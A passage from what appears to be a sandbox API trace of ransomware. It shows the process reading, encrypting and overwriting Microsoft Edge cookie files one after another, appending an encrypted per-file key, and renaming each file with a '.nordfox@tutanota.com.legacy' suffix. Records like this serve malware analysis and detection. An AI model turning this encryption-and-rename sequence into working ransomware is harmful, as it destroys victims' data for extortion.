lpFileSize=0x2e1f998*=310) returned 1 [0192.923] ReadFile (in: hFile=0x1b8c, lpBuffer=0x563358, nNumberOfBytesToRead=0x136, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x563358*, lpNumberOfBytesRead=0x2e1f9bc*=0x136, lpOverlapped=0x0) returned 1 [0192.927] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=-310, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.927] WriteFile (in: hFile=0x1b8c, lpBuffer=0x563720*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x563720*, lpNumberOfBytesWritten=0x2e1f9bc*=0x136, lpOverlapped=0x0) returned 1 [0192.927] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x136 [0192.927] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.927] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60d980*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60d980*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.928] WriteFile (in: hFile=0x1b8c, lpBuffer=0x60d980*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60d980*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.928] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.928] CloseHandle (hObject=0x1b8c) returned 1 [0192.928] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\8XKMVK96.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\8xkmvk96.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\8XKMVK96.cookie.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\8xkmvk96.cookie.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0193.003] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60da88 | out: pbBuffer=0x60da88) returned 1 [0193.003] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.003] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\8VSHOV3Z.cookie", dwFileAttributes=0x80) returned 1 [0193.004] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\8VSHOV3Z.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\8vshov3z.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b8c [0193.005] GetFileSizeEx (in: hFile=0x1b8c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=426) returned 1 [0193.005] ReadFile (in: hFile=0x1b8c, lpBuffer=0x5646a8, nNumberOfBytesToRead=0x1aa, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5646a8*, lpNumberOfBytesRead=0x2e1f9bc*=0x1aa, lpOverlapped=0x0) returned 1 [0193.006] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=-426, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.006] WriteFile (in: hFile=0x1b8c, lpBuffer=0x52f438*, nNumberOfBytesToWrite=0x1aa, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x52f438*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1aa, lpOverlapped=0x0) returned 1 [0193.006] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1aa [0193.006] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.006] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60da88*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60da88*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.006] WriteFile (in: hFile=0x1b8c, lpBuffer=0x60da88*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60da88*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.007] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.007] CloseHandle (hObject=0x1b8c) returned 1 [0193.007] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\8VSHOV3Z.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\8vshov3z.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\8VSHOV3Z.cookie.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\8vshov3z.cookie.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0193.009] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60cc18 | out: pbBuffer=0x60cc18) returned 1 [0193.009] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.010] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\8OEJM9K0.cookie", dwFileAttributes=0x80) returned 1 [0193.010] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\8OEJM9K0.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\8oejm9k0.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b8c [0193.011] GetFileSizeEx (in: hFile=0x1b8c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=121) returned 1 [0193.011] ReadFile (in: hFile=0x1b8c, lpBuffer=0x2f79540, nNumberOfBytesToRead=0x79, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f79540*, lpNumberOfBytesRead=0x2e1f9bc*=0x79, lpOverlapped=0x0) returned 1 [0193.011] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=-121, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.011] WriteFile (in: hFile=0x1b8c, lpBuffer=0x2f796d8*, nNumberOfBytesToWrite=0x79, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f796d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x79, lpOverlapped=0x0) returned 1 [0193.012] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x79 [0193.012] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.012] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60cc18*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60cc18*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.012] WriteFile (in: hFile=0x1b8c, lpBuffer=0x60cc18*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60cc18*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.012] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.012] CloseHandle (hObject=0x1b8c) returned 1 [0193.012] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\8OEJM9K0.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\8oejm9k0.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\8OEJM9K0.cookie.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\8oejm9k0.cookie.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0193.014] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60d668 | out: pbBuffer=0x60d668) returned 1 [0193.014] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0193.014] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\7R2CZ8VX.cookie", dwFileAttributes=0x80) returned 1 [0193.015] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\7R2CZ8VX.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\7r2cz8vx.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b8c [0193.015] GetFileSizeEx (in: hFile=0x1b8c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=322) returned 1 [0193.015] ReadFile (in: hFile=0x1b8c, lpBuffer=0x5e7148, nNumberOfBytesToRead=0x142, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e7148*, lpNumberOfBytesRead=0x2e1f9bc*=0x142, lpOverlapped=0x0) returned 1 [0193.016] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=-322, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.016] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5e72a0*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e72a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x142, lpOverlapped=0x0) returned 1 [0193.016] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x142 [0193.017] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.017] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60d668*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60d668*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.017] WriteFile (in: hFile=0x1b8c, lpBuffer=0x60d668*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60d668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.017] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.017] CloseHandle (hObject=0x1b8c) returned 1 [0193.017] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\7R2CZ8VX.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\7r2cz8vx.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\7R2CZ8VX.cookie.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\7r2cz8vx.cookie.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0193.021] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60e4d8 | out: pbBuffer=0x60e4d8) returned 1 [0193.024] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0193.024] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\51EI2ZMG.cookie", dwFileAttributes=0x80) returned 1 [0193.024] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\51EI2ZMG.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\51ei2zmg.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b8c [0193.025] GetFileSizeEx (in: hFile=0x1b8c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=113) returned 1 [0193.025] ReadFile (in: hFile=0x1b8c, lpBuffer=0x5698c8, nNumberOfBytesToRead=0x71, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5698c8*, lpNumberOfBytesRead=0x2e1f9bc*=0x71, lpOverlapped=0x0) returned 1 [0193.026] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=-113, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.026] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5611c0*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5611c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x71, lpOverlapped=0x0) returned 1 [0193.026] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x71 [0193.026] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.026] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60e4d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60e4d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.026] WriteFile (in: hFile=0x1b8c, lpBuffer=0x60e4d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60e4d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.026] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.026] CloseHandle (hObject=0x1b8c) returned 1 [0193.027] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\51EI2ZMG.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\51ei2zmg.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\51EI2ZMG.cookie.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\51ei2zmg.cookie.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0193.028] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60e8f8 | out: pbBuffer=0x60e8f8) returned 1 [0193.029] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0193.029] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\38ZHXQ6A.cookie", dwFileAttributes=0x80) returned 1 [0193.031] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\38ZHXQ6A.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\38zhxq6a.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b8c [0193.031] GetFileSizeEx (in: hFile=0x1b8c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=111) returned 1 [0193.031] ReadFile (in: hFile=0x1b8c, lpBuffer=0x30ef460, nNumberOfBytesToRead=0x6f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef460*, lpNumberOfBytesRead=0x2e1f9bc*=0x6f, lpOverlapped=0x0) returned 1 [0193.032] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=-111, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.032] WriteFile (in: hFile=0x1b8c, lpBuffer=0x30ef208*, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef208*, lpNumberOfBytesWritten=0x2e1f9bc*=0x6f, lpOverlapped=0x0) returned 1 [0193.033] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x6f [0193.033] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.033] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60e8f8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60e8f8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.033] WriteFile (in: hFile=0x1b8c, lpBuffer=0x60e8f8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60e8f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.033] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.033] CloseHandle (hObject=0x1b8c) returned 1 [0193.033] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\38ZHXQ6A.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\38zhxq6a.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\38ZHXQ6A.cookie.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\38zhxq6a.cookie.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0193.035] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60dfb0 | out: pbBuffer=0x60dfb0) returned 1 [0193.035] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.036] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\1W27MN6L.cookie", dwFileAttributes=0x80) returned 1 [0193.038] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\1W27MN6L.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\1w27mn6l.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b8c [0193.039] GetFileSizeEx (in: hFile=0x1b8c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=822) returned 1 [0193.039] ReadFile (in: hFile=0x1b8c, lpBuffer=0x555b90, nNumberOfBytesToRead=0x336, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x555b90*, lpNumberOfBytesRead=0x2e1f9bc*=0x336, lpOverlapped=0x0) returned 1 [0193.040] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=-822, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.040] WriteFile (in: hFile=0x1b8c, lpBuffer=0x61ec60*, nNumberOfBytesToWrite=0x336, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x61ec60*, lpNumberOfBytesWritten=0x2e1f9bc*=0x336, lpOverlapped=0x0) returned 1 [0193.040] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x336 [0193.040] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.040] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60dfb0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60dfb0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.041] WriteFile (in: hFile=0x1b8c, lpBuffer=0x60dfb0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dfb0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.041] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.041] CloseHandle (hObject=0x1b8c) returned 1 [0193.041] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\1W27MN6L.cookie" (normalized: 